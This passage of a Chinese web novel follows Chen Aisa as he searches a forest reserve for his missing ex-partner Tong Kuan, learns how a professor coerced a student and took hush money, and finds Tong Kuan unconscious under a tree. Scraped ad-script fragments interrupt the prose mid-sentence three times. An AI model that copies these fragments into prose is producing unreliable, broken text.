他也是这样朝前走着,只不过那时候他是带着笑的,背着一个巨大的登山包,手里拿着登山杖,周围都是绿意,他向前走两步,就会回头看一眼,看到一个像少年人的模样也背着个登山包,皱着眉,因为紧张紧盯着脚下,一步步走得很慢,但始终没有停,陈艾卅停下来的时候,童宽就会抬头看他,然后摆一个无奈的表情,跟陈艾卅说,“卅哥,我是不是太缺乏锻炼了”,陈艾卅就摇摇头跟他说,别急,慢慢来,他就在他前面两步。 林子里没有正常的道路,有的地方会因为积水而变得泥泞,童宽就踩进过一个坑,小小的惊呼一声后,陈艾卅快步回到他面前,问他怎么了,童宽犯了难不说话,陈艾卅就说没事,等到干燥的地方拿树叶子擦一擦就好了,这种事情经常发生。 可那天晚上他抱着童宽睡觉的时候,童宽才跟他说,不是因为自己一脚踩了泥泞害怕,是因为弄脏了陈艾卅送他的鞋子,陈艾卅就搂得更紧了,说这也没事,等着回去了,卅哥给他刷鞋,那天童宽特别粘人,一定要和陈艾卅拉勾才作数。 童宽睡觉的时候特别安静,连睫毛的抖动都很少,看着人在自己身边的样子,陈艾卅忍不住又吻了吻他的额头。 终于越过了外围的林子,三个人站在一片相对宽阔的地方。 “发现童宽衣服的地方到了吗,还有多久?这片都找过了吗郭响同志?”陈艾卅问。 “哎你就叫我郭响吧,每次同志一出来我都有些不好意思拒绝你。” “呃,好的,郭响。” “再往前,就是找到他衣服布条的第一个地方了,”郭响像是想起来什么似的,又多说了一句,“我觉得不用太担心他的保温问题,那个衣服撕的是里面的T恤,不是外套,我们这边的志愿者,都是统一发放棉服的,比较值得担心的还是野兽。” 陈艾卅眉头紧锁,他特别不愿意去思考野兽的问题,别说自己从来没遇到过,如果童宽遇到了野兽他要怎么办?搏斗吗?就他那小体格?如果野兽真的咬伤了他,那他还…… “……这里,会有什么野兽?” “说不好啊,如果碰到鹿啊狍子什么的倒不担心,主要还是怕遇见鬣狗和熊。” 陈艾卅呼吸一滞,“不是说这边还在保护区里?” 郭响的下巴往前一抬,“从这个方向,再往外走五公里左右,就出保护区了。” 39. 失真 梁臣的话在陈艾卅的耳边回响着,只要童宽还在保护区里,存活的可能性就非常大。 “你们找到保护区外了吗?”陈艾卅问郭响。 郭响看着陈艾卅的眼睛,摇了摇头,“还没找到那里,但是保护区外的搜救,需要另外的批文。” “那也就是说,童宽的两个衣服布条都是在保护区内找到的?” “是。”郭响还是定睛看着陈艾卅。 “第二根布条离保护区边缘有多远?” 陈艾卅虽然问得很平静,但郭响明显感觉到他动怒了,回答的时候有些发虚,“两公里。” 没想到,陈艾卅只是看了他一眼,就没再说话了,路过老乡的边上,说了一声麻烦快一点,就往前走了。 他没办法发火,说白了人家和童宽有什么关系,又没有更多的人坐在派出所里盯着他们找,更多的也只是要在这件事情上有个结果而已,童宽活着是结果,死了也是结果,找不到也能算个结果。陈艾卅已经不再是那个冲动的,刚从学校毕业的人了,这几年里他看多了很多人情世故,他已经能想通为什么大多数人的选择对大局来说不是最优选,而是后果最轻。但对于搜救童宽这件事,他还是会忍不住生气,更多的是在气自己,即使已经马不停蹄地过来,他还是觉得自己有点来晚了。 跨过这段比较平整的地方后,他们三个又进了林子里。陈艾卅已经无暇顾及自己脚下的泥泞和已经快看不出本来颜色的运动鞋,有的时候登山杖会往下一怼,就又碰到一块淤泥,老乡在前头倒是走得快,陈艾卅尽量跟上了他的脚步,郭响跟在最后面。这会儿的太阳已经比刚刚更大了一些,林子里的潮气散不出去,就觉得热了起来,陈艾卅擦着额头洇出的汗,心里更难受了。 童宽怕热,每每天气热起来的时候,洗澡就洗得勤快,陈艾卅怕他着凉,在夏天开空调的时候,就会偷偷用手机定时到早上四五点关机,童宽醒过来的时候身上就会有一些汗意,但却从未对陈艾卅抱怨过,他明白陈艾卅的用心良苦,但就是大清早的时候洗个澡,晚上回来了就再洗一遍。陈艾卅以前就笑他说,这么个洗法儿,不洗秃噜皮了么,童宽就皱着鼻子对他说,黏黏糊糊的不舒服。 这个湿度对童宽真的太不友好了,但他也不想温度降下来,低温情况下,童宽昏迷的概率会大大提高,醒着倒还好说,如果真的晕过去了,再发生个什么事,陈艾卅觉得自己要不也在这交代了得了,他越来越没办法承受童宽在这种环境下失踪了三天这样的事实,担心的地方太多了,有没有水、保不保温、有没有吃的、受没受伤,有没有害怕…… 登山杖碰到了一个挺硬的金属物件,陈艾卅停下了脚步,又叫了老乡一声。 竟然是一个捕兽夹,陈艾卅看向郭响,“不是保护区吗,怎么会有捕兽夹?” 一瞬间郭响的表情也很难看,但这不归公安管,他也只能问老乡,“不是说不让随便捕获了么,怎么还会有捕兽夹,巡林站的人不管吗?” 老乡解释说,保护区里没有野兽,但保护区外说不好,他们会在最外围一圈放点捕兽夹,防止有猛兽进入,现在日子已经好过了,已经没有人违规捕猎了。 陈艾卅很细心,他蹲下来观察捕兽夹上有没有血迹,在这里他害怕每一样东西都会对童宽造成伤害。 刚刚还没动静的手机,突然来了信号,陈艾卅打开手机看了看,林琦给自己打了一个电话,徐熠给自己打了五个,还有一个是曲婷打来的。 他又打开了微信,他妈只是常规地问他出差顺利,他顺手就回了个顺利就没再回复了。 林琦没有给自己留言,倒是徐熠,给自己留了七八条五十几秒的语音,陈艾卅实在忍不了这种未知的折磨,就和老乡和郭响说,要不休息一会儿,正好这里有信号,他处理点事情,然后再继续。 陈艾卅走到了一个相对宽敞点的地方,也确保郭响和老乡的距离听不太清他说话,他侧靠在了一棵树上,点开了播放键。 徐熠说去找那个老头倒没获得什么信息,老头咬死了童宽黑研究生系统的事,说捅出去童宽肯定被开除,童宽才和他谈的条件,具体怎么谈的不清楚,老头说童宽拿返点来封他的口,他也不可置否,既然给那他就拿着了,重新修改一下结果对他来说并不难,何况还有好处。徐熠说老头虽然是教授,但更像个生意人,他说的话只能听一半,但到底为什么童宽会直接给他10%的原始股,徐熠怎么也问不出来了。 后来徐熠通过自己的关系,找到了那几年老头门下的学生,却没想到因为这件事,还扯出了另一个人来。徐熠还在语音里抱怨说要不是自己的公司是他们事务所的甲方,这件事好像还不一定能顺利摸清,让陈艾卅好好记着他这份恩情。 可听完了接下来的语音后,陈艾卅就蹲了下去,他环抱住了自己的肩膀,他想哭,可怎么都哭不出来,他已经弄不清,是该责怪自己的冲动,还是童宽的傻气。 追溯到源头,还是陈艾卅那天在操场上因为看见童宽而拒绝的女生起的因,原来她叫殷蔚。 殷蔚欺骗了他,她并不是艺术生,而是管理学院的一名学生,听徐熠发过来的意思,那个教授老头是殷蔚的导师,因为陈艾卅的论文主题是商务英语范畴的,老头觉得他写得特别好,所以在批阅的时候就记下了,在开组会的时候分享了一下,明审的时候不会把名字去掉,殷蔚就看到了这是陈艾卅的论文,她记起了当时问陈艾卅要个微信都不肯,转头就听说和一个男的在一起了。 她跟徐熠说的时候有生气也有悔恨,生气的是,一直有听说英语系有这一号人物,但传言里都是要了微信就给的人,怎么就到她这儿不给了,好巧不巧,这事还被她室友知道了,平时都对这个长得很漂亮的瓷娃娃女孩都有些嫉妒,看见她碰壁却兴奋上了,明里暗里的地损她,是不是因为觉得她太倒胃口了,转头连女的都不喜欢了,她就有些怀恨在心。 悔恨的事情,就是把她自己也搭上了,那教授老头本来就品行不端,在言语间对她多少有些暧昧,那天她只是想小小报复一下陈艾卅,就假意和那老头说,这个人以前很讨厌还伤害过她,能不能给他吃点苦头,不用真的不通过,吓吓他就行,老头答应着说好,可转手就直接给了陈艾卅不通过,还转头告诉她自己 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 点错了。才大四的殷蔚哪受得了这份惊吓,赶紧问老头会不会对陈艾卅有什么影响,老头就告诉他可能陈艾卅这辈子都会被她毁了,她就求老头说还是改了吧,她不想报复陈艾卅了,就一个微信的事不想闹那么大。 可心存觊觎的老头哪有这么容易放过她,就哄骗她说不好改啊,还要去研究生院里反复做认证,他自己又特别忙,见小姑娘慌了又开始了引诱,说平日里想和她吃顿饭都难,反而她让做什么自己就做什么了,怎么也不想想这究竟是为什么。犹豫的时候又来了个杀手锏,说这事儿他不说,就不会有人知道,问她是不是也不想别人知道她心理这么阴暗,还诱导老师给别人穿小鞋?传出去的话,别说毕业了,连和同学相处都是问题。 殷蔚的心理防线彻底被老头击溃了,就哭着求他能够帮帮她,后面的肮脏事儿徐熠用脏话一笔带过了,但还是宽慰了一下陈艾卅,说这事儿大体上和他没什么关系,是童宽关心则乱了,让陈艾卅不要受影响,找到童宽才是最重要的事情,后面徐熠会再和殷蔚聊一聊,看看能不能抓到老头的把柄,把那10%的原始股从他手里拿回来,或者让老头也赔点钱,但这都是要找到童宽的后话了。 陈艾卅反复看着微信里的这几个语音白条,每一个字好像都在重复着他当时的天真,怪不得那天童宽回来得那么晚,怪不得他要把创业的事情提得那么前,连启动资金都没有呢,就志气满满地和陈艾卅说自己要创业,童宽把现金流看得那么重的一个人,背后又没有家庭过来支持他的作为,又怎么会孤注一掷想到去创业的。 或许童宽从最初告诉自己想做的事情,也只不过是想在这个城市买个房子,有个家,能把自己的根扎在这里而已。 他看着眼前的这片森林,陈艾卅都开始怀疑了,童宽真的喜欢树吗,他连创业要做的事情,都和陈艾卅喜欢做的领域是一样的,这真的是不谋而合吗,还是童宽的一切、所有、全部,都是跟着陈艾卅自己的脚步来定的,是自己的喜欢对童宽来说太过特殊,以至于他愿意将自己的所有都围着陈艾卅转? 陈艾卅脑子里突然出现了一个天平,左边是他自己的爱,翘得高高的,另一边是童宽的爱,实实在在地落了地上。他闭上了眼睛,都不敢去想,他们两个之间的付出和给予,到底相差了多少。 这七年以来,童宽到底为自己忍让了多少,这已经算是一件大事了吧,小事呢,是不是不计其数? 他几乎有些喘不上气,看着前面望不到底的树林,陈艾卅彻底明白了,当时自己和童宽闹脾气的时候为什么人一句话都不说。童宽把陈艾卅当成了赖以生存的空气,他却亲手把空气抽走了。 刚刚还对郭响明明白白地说童宽可能是来调研的,此刻他真的站不住脚了。 陈艾卅脑子里的那个干净、清爽又纯真的男孩儿,用自己一双历经苦难的手,保护着陈艾卅的天真和未来。 他得到了一个让自己几乎承受不住的结论,童宽可能对这个世界什么都不喜欢。 唯独对陈艾卅,始终热爱。 陈艾卅抹了一把脸,回过头对老乡和郭响说道:“走吧。” 40. 降落 三个人没走几步,眼前的景象突然熟悉起来,好像七年前的那个场景又到了自己面前,陈艾卅惊喜地认识到,这就是他们之前搞活动来的地方,虽然每年活动的地方都会有些改变,但陈艾卅都会到这个断层的地方来,站在一边看看茂密的树冠,他要找到自己和童宽一起亲手种的那棵树,可那天他俩都没想起来拍照片,他只记得太阳升起来的时候,会有足够的阳光照耀在上面。 陈艾卅这次来没带指南针,回过头问老乡这边哪里是最东边,老乡的手就往旁边指了指,说过去二里地就差不多了,陈艾卅点了点头,就往那边挪了过去。 他本来以为找童宽的时候自己紧张激动得不行,可真的找寻的时候,才觉得一切都非常安静,脚下一步步走的路把枯枝枯叶都压出了声儿,头顶上是树冠,偶尔会有鸟飞过和鸟叫的声音,好像整个林子都在不断抚慰陈艾卅,也同步给他希望,让他觉得一定能找到童宽。 一公里的路不比平地,还是费了些时间的,陈艾卅走到那个断层处就不走了,回过头先问郭响这里找过没有,郭响回答不出来,他平日里也不在搜救队,对这里的地形也不熟悉,陈艾卅看他的表情就明白了,也没多问。他从不怀疑搜救队想找到人的决心,就是有些回忆的东西,没办法和别人共享,他多想此刻和童宽能产生一些量子纠缠,让他能够感知到童宽的处境,如果可以的话,他想把童宽身上所有的痛苦都转移到身上来,他甚至开始思考,当初自己犹犹豫豫地没和童宽表明心意,是不是也算伤害童宽的一种,他怎么会犹豫呢,他怎么能犹豫呢。 老巡林员走过来问陈艾卅在找什么,说这边特别容易失足掉下去,让他注意脚下,陈艾卅顺口就回答了在找一棵树,一棵他和童宽七年前就种下的那棵树,可转念一想,陈艾卅又对郭响开了口。 “断层的下面,搜救队有下去过吗?” 郭响看着他,没回答,摇了摇头。 他已经不想去问为什么了,太危险了也好,没必要也好,掉下去了必死无疑也好,童宽的命是命,可别人的命也是命,陈艾卅没有立场责怪任何人。 “对不起。”郭响突然说了一句。 陈艾卅笑了一下,“别说这个,不吉利。” 他成了一个迷信的人,他不想在找到童宽之前,听到任何一句可能会放弃的话。 又走了一会儿,陈艾卅突然停住了脚步。 现在是早晨,这一切和当时在记忆里的太像了,他好像看见了那个缺口,突然就来了一股劲,他回过头对郭响说就在前面,跑过去的时候甚至被地上掉下来的树枝绊倒了,陈艾卅没有在意,迅速起身拍了拍身上的灰,又继续往前冲,终于在断层边上停了下来。 没有树,这里是个缺口,但没有树。 但他记得这里,他和童宽七年前种下那棵树的地方。 陈艾卅蹲坐了下去,他闭上了眼睛,心里痛得几乎没办法呼吸,他摸索着这里的土地,也没有最近脱落的痕迹,应该是……七年前,这棵树就没有活下来。 好像碰到了一个柔软的东西,在土里面,陈艾卅用手来回蹭开表面的土,把手里的东西拿了起来,因为森林里的潮气和风,上面已经沾染上了太多的泥土,他把这东西举起来放到了阳光下面,皱着眉不确定是什么,难道是童宽放在这里的衣服撕下来的布条? 想到这里,陈艾卅立马站了起来,拿着这个东西走到郭响面前。 “给我一瓶水,我发现了个东西。” 郭响看着他,皱着眉说,“这什么?” “不知道,但应该是布,”陈艾卅说,“童宽肯定来过这里了,我确认一下这是不是他留下来的。” “这里就是你们一起来过的地方?” 陈艾卅都有些疲于回答了,就点了点头,“水。” 郭响从随身的包里拿了瓶矿泉水开了盖给他,陈艾卅接过去就朝着手里的东西一顿冲。 水落在布条上的时候,带着布条上的泥泞,直接弄脏了陈艾卅的手,可他没有在意,一边冲还一边用手拧一下,刚刚冲出了一个角,陈艾卅就停下了,他拿着矿泉水瓶子的手有点颤抖,他赶紧把瓶子递给了旁边的郭响,声音直接哑了,“拿着。” 童宽到哪儿都会带的毛巾,掉在了这里。 陈艾卅的手抖了起来,几乎都要拿不住这个东西,他甚至有点不敢相信,他怎么能就这么轻易地在这里找到童宽的东西。 他的眼睛通红,嗓子几乎发不出声音,还是转头对郭响说了一句,“童宽……来过这里。” 郭响立刻走了过来,“这是什么?” 嘶哑的声音一点点从陈艾卅的唇缝里漏出来,“他随身会带的的毛巾,从小到大一直带着的东西。” “为什么出来会带毛巾?”郭响皱眉,“这种难道不应该放在房间里吗?” “可能……”陈艾卅想到了一个可能性,噎得让他说不出话来,“他想在这里过夜。” “过夜?” “嗯,”陈艾卅说,“他应该是想好了要来这里过夜的。” ——我们找到会沐浴到第一缕阳光的地方把它种下去。 ——好可惜,每次来都是这个点了,都没在这里看过日出。 ——我们过几天来看看这棵树有没有活下来。 ——没事,以后我们也可以来。 陈艾卅没办法跟郭响解释他和童宽的感情,他就是知道,童宽来过这里了,可能还在这里坐了一个晚上,他来寻那棵树,他也想在这里看日出,他在被陈艾卅分手后,一个人来到了这里,践行陈艾卅之前对他的承诺。 陈艾卅又问郭响要过了矿泉水瓶子,尽量地把那块毛巾搓干净,他这才注意到,这块毛巾已经被磨出洞来了,当初还稀稀拉拉横竖交错的、最后几根□□的织线,已经挂不住了,变成了一个洞。或许是水太少了,或许是毛巾太脏了,也或许是陈艾卅搓着毛巾的手抖得都快拿不住了,这块毛巾怎么搓都搓不干净,陈艾卅还是反复搓着,想把上面的泥都一块块搓下来,他发红的眼睛最终还是落下了泪,他已经数不清,过来的一路上究竟哭了多少次了,这块毛巾上的泥泞就好像一路伴着童宽长大的苦难,即使用水冲洗、揉搓,还是会留下斑驳的痕迹。 陈艾卅以前觉得,童宽表现得太过正常了,是因为他内心强大,可回头看突然发现,童宽也脆弱,只有表现得正常,他才能把那些后来可能会发生的苦难减少一些。陈艾卅总说,童宽是他自己的安全绳,可他 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 此刻却明白了,他是童宽的救命稻草,是照进他黑暗生活里的一束光,当光暗下去的时候,在黑暗里的人就失去了动力,什么都不想做。 在郭响和老巡林员的注视下,陈艾卅用力扇了自己一巴掌,几个人都静止在这里。 他要自己再痛苦一点,他要自己再清醒一点,他要自己再后悔一点,他要自己再疼一点。 启程来这里的时候,他甚至还想过,不就是分个手么,至于失踪么,陈艾卅觉得之前有过这种想法的自己,简直是个禽兽! “郭响,我得下去,”他转过去看向郭响,“有没有办法,让我下去?” “断层的下面是什么都说不好,你确定要下去?”郭响问,“可能你自己也会有危险。” “我得下去,风险我都自己担了,你要我签什么文件吗,我现在就签。” “不是,”郭响皱着眉,“不是文件的问题,巡林员都没下去过,没人知道下面是什么情况。” “郭响!”陈艾卅喊了一声,“我感觉童宽就在下面!!”他的声音又低了下去,“你就让我下去看看吧,求你了,我一个人下去就行。” 郭响看了陈艾卅几秒,“那你等一下,我叫那两个在站点的人过来,看看救生绳有多长。” “等不了了,”陈艾卅看向郭响,又流下了一行泪来,“不能再等了,我要下去找他。” “小伙子,不是不让你下去,我们得做好准备,”老巡林员开了口,“你在下面找到童宽了,怎么把他带上来,也是个问题不是?” 他们还是在这里等了近一个小时,陈艾卅一直蹲坐在他们之前种树的那个缺口没动,太阳照在他的脸上,他也没有表情,他觉得已经离童宽很近了。他好像出现了幻觉,并不是看见了什么,而是闻到了一股清新的、栀子花的香气,这些香气萦绕在他的周身,没有具体的形状,却让他觉得无比想念,肩膀上突然又出现了一个痛感,这种感觉也太熟悉了,是童宽在咬他的肩头,咬了之后,他还会用虎牙在陈艾卅的皮肤上厮磨几下…… 陈艾卅的身体开始慢慢倾斜,照在他身上的阳光投下的影子也开始变长,他在着地之前被郭响一把扶住了。 “老卅、老卅?”郭响拍了拍陈艾卅的胳膊,“醒醒,醒醒!” 陈艾卅睁开眼,满脸绝望,像个孩子一样哭了出来,“我看见他了,我看见他了,就在这里,他是不是、是不是没了……” “你冷静一点,冷静一点!”郭响大声喊了一句,用力把住了陈艾卅的胳膊,“你刚刚睡着了,醒一醒,醒醒!!” 陈艾卅用力睁了一下眼睛,这一下几乎扯得心脏也有点疼,看向郭响的眼睛终于多了一些清明。 几个人合力把救生绳接在了一起,但长度还是不够,最多也就能给一个人用,陈艾卅说他下去就可以了,批文没有的情况下他们也实在没有必要冒这个险,他把救生绳环在了自己的腰间,卡上了卡扣,带上了郭响的卫星电话和对讲机,面对着他们,拉着救生绳往下降。 “碰到什么及时告诉我们。”郭响最后关照了一句。 陈艾卅仿佛没听见,脚用力往山体上一蹬,直接降了一截大的。 童宽,我来了,等我,千万等我。 41. 独树 本以为这个断层没那么高,目测也就两三米两层楼的距离,安全绳的长度完全可以覆盖了,可事实上陈艾卅的脚能踩到地上的时候,安全绳也几乎拉到了尽头,他仰起头往上看了看,至少应该有差不多两层楼了,刚刚自己坐的那个地方看起来是那么渺小,不仔细看的话,应该都看不到那个缺口后面还有人。陈艾卅拿出对讲机,摁下了按钮。 “有人吗?我已经到达底部了。”他停顿了一下,又好像想起来什么似的,又加了一句“Over.” 不一会儿对讲机里传来了郭响的声音,“收到了,安全绳没有了,你边走边做好标记,我们上面随时接应你,完毕。” “好的收到,完毕。” 保险起见,陈艾卅把绑在身上安全绳的卡扣系在了一棵树的树枝上,又往前走了一小段路,接着用从老巡林员那里借来的刻刀在树干上做了个标记,他在树上划上一个“S”的时候,看到这棵树上有一些划痕,陈艾卅以为自己看错了,他用手来回抹了抹,又用手臂搓了搓自己的眼睛,在S下面一点的地方写着TK,童宽来过这里! 手里的对讲机已经有些拿不住了,陈艾卅尽量稳住了自己的声音,“发现了童宽的标记,他在断层的下面。” 对讲机那头沉默了一会儿,郭响的声音传了出来,“我这边申请支援,你先别动。” “我会在树上刻S,你们下来跟着标记找,我怕来不及,没事的,我有卫星电话。” “陈艾卅,你不要冲动!” “我没冲动!童宽在等我!”陈艾卅的声音又低了下去,“我都到这了,停不下来的,你们尽快下来吧。” “……好吧,我们尽快。” 断层下面的路更不好走,地面的植被更多,因为阳光没有上方的充足,即使现在是正午,地面还是有些潮湿,陈艾卅走的时候还有些打滑,他仔细查看着周围每一棵树上,有没有TK的标记,很可惜的是,他没有再发现什么,此刻他置身树林中间,四面八方都是一样的景象。他抬头看,树冠之间漏下来的光,好像照到了一半,就透不下来了,他把刚刚捡到的童宽的毛巾绑在了自己的手腕上,刚刚梦里的清新气息和被啃咬的疼痛,好像都在提醒陈艾卅,快一点、再快一点。 陈艾卅吸了一大口气,漫无目的地用力喊到:“童宽!童宽!!童宽!!!你在哪!!!” 原本寂静的山谷里,回荡着他的声音,树上有几只鸟飞起来了,翅膀呼啦一下就过去了,可除此之外,一点声音都没有。 之前还是跟着巡林员和郭响走,陈艾卅现在连前后左右都不知道要往哪个方向,他祈求上苍给他一些提点,一个就可以。 左前方的树叶好像被碾了一样发出吱嘎的响声,陈艾卅警觉地往那边看,竟然出现了一条蛇!这条蛇不粗,身上的纹路和枯叶一样,褐色斑驳的身体,吐着信子,陈艾卅感到很害怕,只能一步步往后退,突然蛇的后面又多了个声音,刚刚抬起身的蛇突然又蛰伏了下去。陈艾卅松了一口气,不自主地往后退一步。 脚踩的地方好像和旁边的有些不一样,感觉有点虚,陈艾卅蹲下定睛一看,竟然是个虚虚遮掩的、用树枝横竖搭起来的盖子。 他扒开了盖子上的落叶,总算看到了一些缝隙,这个好像陈艾卅之前了解过的猎洞,但从这个角度也看不清是什么,他没多想,直接抬手把这个猎洞的盖子掀开了,掀开后才也不知道是松了一口气还是失望了一下,这个猎洞深度大概也就三四十厘米,最多只能猎个野兔或者小蛇,他竟然刚刚还指望童宽在这个里面,陈艾卅觉得自己实在是幼稚。 走了几步路后,他又开始喊了起来,“童宽——童宽——!!” 从知道童宽失踪开始,到现在,陈艾卅一路几乎没有认真合过眼,每次醒过来的时候也都一惊一乍的,他都觉得自己的嗓子里有些腥甜的味道了。 再往前一些的时候,陈艾卅就有些走不动了。 这一路过来的高强度运动不提,还有精神折磨,几乎要把陈艾卅身上的精力都拧干。 他又往前走了几步,身边的林子好像被划了一道线一样,都到这里停止了。 眼前的,地上都是一个又一个木桩子,应该是砍伐后留下的,唯独中间还有一棵树。 满眼萧索里,唯独只有这一棵树向上生长着。 这棵树的树冠很大,投下来的阴影也也很大。 在这棵树下,有一个人背靠着树干,坐在地上。 陈艾卅的脑子好像被烧着了,皮肤似乎被烈火烤过,身上的每一个细胞都在叫嚣着、沸腾着,恨不得发出轰鸣。 他一步一步往前走着,跨过一个又一个的树状,慢慢靠近过去,他感觉到自己的呼吸在一点一点被抽走。 靠在树干上的那个人,一点都没有动作。 陈艾卅每走一步,心就跟着往上提一些。 还有三米的时候,他停下了。 童宽就这么安静地坐在地上,靠在树干上。 他的脸冲着另外一边,从陈艾卅的视线看过去,只能看到他消瘦的下颚线。 他身上裹着棉袄,裤子也是完整的。 手边已经有一件被撕烂了的T恤,鞋已经脏得不成样子了。 陈艾卅开始忍不住发抖,刚刚还能扯着嗓子喊的人,一点声音都发不出来。 更近了一些,童宽的碎发上、棉袄上、裤子上也都是泥泞。 陈艾卅最先从他脸上看到的,是他下巴上的青茬。 童宽刮胡子很勤快,他不喜欢刺挠的感觉,下巴上一直都是干干净净的。 陈艾卅慢慢跪了下去,伸出的一只手颤抖得不行。此刻,他不得不依赖手上的温度,来判断童宽的状态,刚刚就要碰到,陈艾卅的手指又蜷了起来,他怎么也冷静不下来,颤抖几乎蔓延到了全身,在使劲打了一个激灵后,陈艾卅终于稳住了发抖的手,指尖先触碰到了童宽的脸颊,只是这一点点的触碰,感知不到他的温度,陈艾卅咬住了唇,整个手覆盖了上去,他的掌心贴在了童宽的脸上。 童宽的脸很凉,几乎让陈艾卅失去了心跳。 他实在不愿做那个动作,却不得不还是用两根手指贴到了童宽的鼻子下面。 救命。 万幸。 他还活着。 仿佛还要再确认一遍似的,陈艾卅又把手覆到了他的脖颈上去检查他的心跳,童宽的动脉上的跳动通过手掌传到了陈艾卅的心里—— 咚咚、咚咚、咚咚。 陈艾卅这才想起来,自己应该说话,他要说话,他要把童宽叫醒,他要带他回家。 “童宽?” 陈艾卅把着童宽的胳膊往自己这边小小拉了一下,可就这一下,童宽就直接倒了下来,陈艾卅一把接住了他,把童宽抱在怀里,即使童宽穿着棉袄,他还是能感觉到童宽的瘦弱,他明明记得,离开之前童宽已经有些肉了,不过就半年,怎么瘦成了这个样子。 “童宽?”陈艾卅不敢在他耳边大声说话,怕吓到他,可他也怕童宽是真的晕了过去,他轻轻拍了拍童宽,又喊了一声,“童宽?醒醒。” 看到童宽干裂的嘴唇,陈艾卅突 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 然想起了什么,他从书包里拿出了保温杯,放到了童宽的嘴边,微微倾斜想要让他喝一些,可刚倒出来的水,就从两边流了下去,顺着童宽的下巴滴到了他穿的棉袄上,蓝色的布袄上开出了一朵朵深色的水印。 陈艾卅强行抑制住了心里头的汹涌,打开了对讲机,发现已经在无线电范围之外了,他拿起了郭响给他的卫星电话,拨过去的时候却无人接听,他身体突然一阵发冷,有个极度不好的预感,内心的恐慌怎么都抑制不下去。 他打开了自己的手机,找到先前来找自己的警察留下的电话,拿卫星电话拨了过去。 “喂?” “我是陈艾卅,我找到童宽了。” “什么?!” “我不知道是这边的巡林员有问题,还是警察有问题,我打联系我的那个警察的电话,他没接。” “什么意思?” “只有我自己下来找童宽了,他们都在上面,刚刚我就觉得不对,但太着急了,没仔细想。” “你在哪里?” “我说不清。” “你别着急,我联系一下对方派出所。” “不要!童宽现在昏迷着,我不相信他们!” “那我联系一下地方分局,我们这边也派人过来。” 陈艾卅拿开了卫星电话,看了看剩余电量,还有两格。 “卫星电话还有一半不到的电,你们能从这个电话里追踪到我们的位置吧?”他的语气里甚至没抱什么希望。 “可以,等我联系上技术组,我再给你打过来。” “童宽现在情况怎么样,你们有应急物资吗?” “我不知道,我叫不醒他,但有呼吸心跳,体温偏低,我这里只有一点点东西,应该撑不了太久,求你们尽快!” “好的。” “还有警官,帮我联系一个人,让他跟着你们一起过来。” “谁?” “我报你号码,”陈艾卅咽了一下,“不管到时候是你们谁来,或者这个人不联系我,恐怕我无法再相信你们了。” “……好。” 挂了电话后,陈艾卅给梁臣也打了个电话,他实在是不敢把所有的希望都寄托自己已经存疑的人身上。 “学长,你们坚持一下,我和林琦现在就出发。” “先别联系之前的对接人,可能有问题。”陈艾卅深吸了一口气,“如果,如果我和童宽有什么三长两短。” “不会的!”梁臣直接打断了。 “不是,你听我说,”陈艾卅咽了一口唾沫,没有继续刚才说的,转了个话锋,“带点钱在身边,现金。” 电话里梁臣愣了一下,然后说了一声好。 挂了电话后,陈艾卅从藏蓝色的包里拿出了带着的湿巾,一点一点擦拭着童宽的脸,先把额头上的泥泞擦掉了,接着是脸颊、还有下巴上的一些泥,陈艾卅蓄着泪,鼻翼翕动,嘴唇发抖,他最后才敢去擦拭童宽的眼睛,以前那双眼睛看着他的时候一直带着笑,仿佛里头有星星的光芒…… 陈艾卅把童宽抱进了怀里,面颊贴着他的额头,又轻轻蹭了蹭童宽的额角,他不敢有什么大动作,只是抱着他来回轻轻摇晃,不断在他耳边呢喃着。 “小宽,回来啊,小宽,回来吧……” “小宽啊,回来吧,小宽啊,回家吧……” “小宽啊,回来啊,小宽啊,回来吧……” “小宽啊……” “回家吧……” “小宽啊……” “回来吧……” 42. 迷梦 陈艾卅敞开了自己的外套,抱着童宽的手一直没有松开,他直愣愣地看着前方,想把身上的温度都传递到童宽的身上。他突然像想起了什么,来回查看童宽身上裸露出来的皮肤,并在各个关节处检查着,如果有外伤的话,他几乎都不知道要怎么处理,幸好,除了手背上有些擦破皮外,没有什么伤口。 他单手从书包里拿出刚刚的那包湿巾,抽出了一张,想要擦拭一下那道擦伤边上的灰尘,湿巾刚刚碰到童宽的手臂,陈艾卅就感觉到童宽的睫毛动了一下,他立刻收了手,又在他耳边轻声唤他,可童宽只是眉眼紧闭痛苦的样子,并没有醒来的迹象,于是他的手又轻了些,一点一点从那道伤边擦拭。 日头升到了正午,阳光洒落下来,他和童宽在这棵树的荫蔽下躲着。陈艾卅很绝望,他不知道那边的警察什么时候给他打电话,他希望快一点,再快一点,他要把自己的定位发出去,至少要让别人知道他在哪儿,陈艾卅突然发现,在毕业后的几年,能依赖依靠的人,都是和童宽有关系的,自己步入了职业后,几乎没有更多可以信赖、交心的人了。他不知道,是不是无意中,童宽为他织出了一层关系网,把陈艾卅放在了网络的中心,以至于需要帮忙的时候无处可说。‘ 陈艾卅的目光从童宽紧闭的唇移到了额头上,他觉得现在自己不具备吻童宽的资格,连抱着都没得到允许,但他这会儿已经顾不上了,他只想他尽快醒来,睁眼看看他,看看这个曾经狠心要和他分手的人,现在后悔成了什么样子。 不自禁地,陈艾卅落了一滴泪到童宽的脸颊上,虽然眼泪是他流的,可他却觉得是童宽哭了。在陈艾卅的记忆里,童宽从来没有因为委屈而哭过,在他疼在他伤的时候只会露出倔强的、又或是隐忍的表情,他的泪只落在感动的时候。 陈艾卅一路想来,自己一路几乎要把这辈子的泪都流完了,他清楚自己不是过份感性的人,可当他面对童宽时,还是觉得自己的泪流少了,和童宽遭受到的痛苦和伤害比起来,自己这些泪又能算什么呢。 出神的时候,卫星电话响了,接起来后却是徐熠的声音。 “陈艾卅,我在警局这里,童宽怎么样?” “昏迷了,没有外伤,多久定位能有结果?” “三五分钟,卫星电话还有多少电量?” 陈艾卅拿开电话,看了一眼电量,回复道:“还有不到百分之三十,你们快点。” “你听我说,我过去太久了,我怕童宽撑不到那时候,分局的人会先过去,你不要排斥他们,无论如何先救童宽。” 陈艾卅皱眉,他一直以来的不安爆发到了顶点,他不确定童宽到底发生了什么,但他还是忍住了,没有什么事比救童宽来得更重要,他又重复了一遍,“你们快点。” 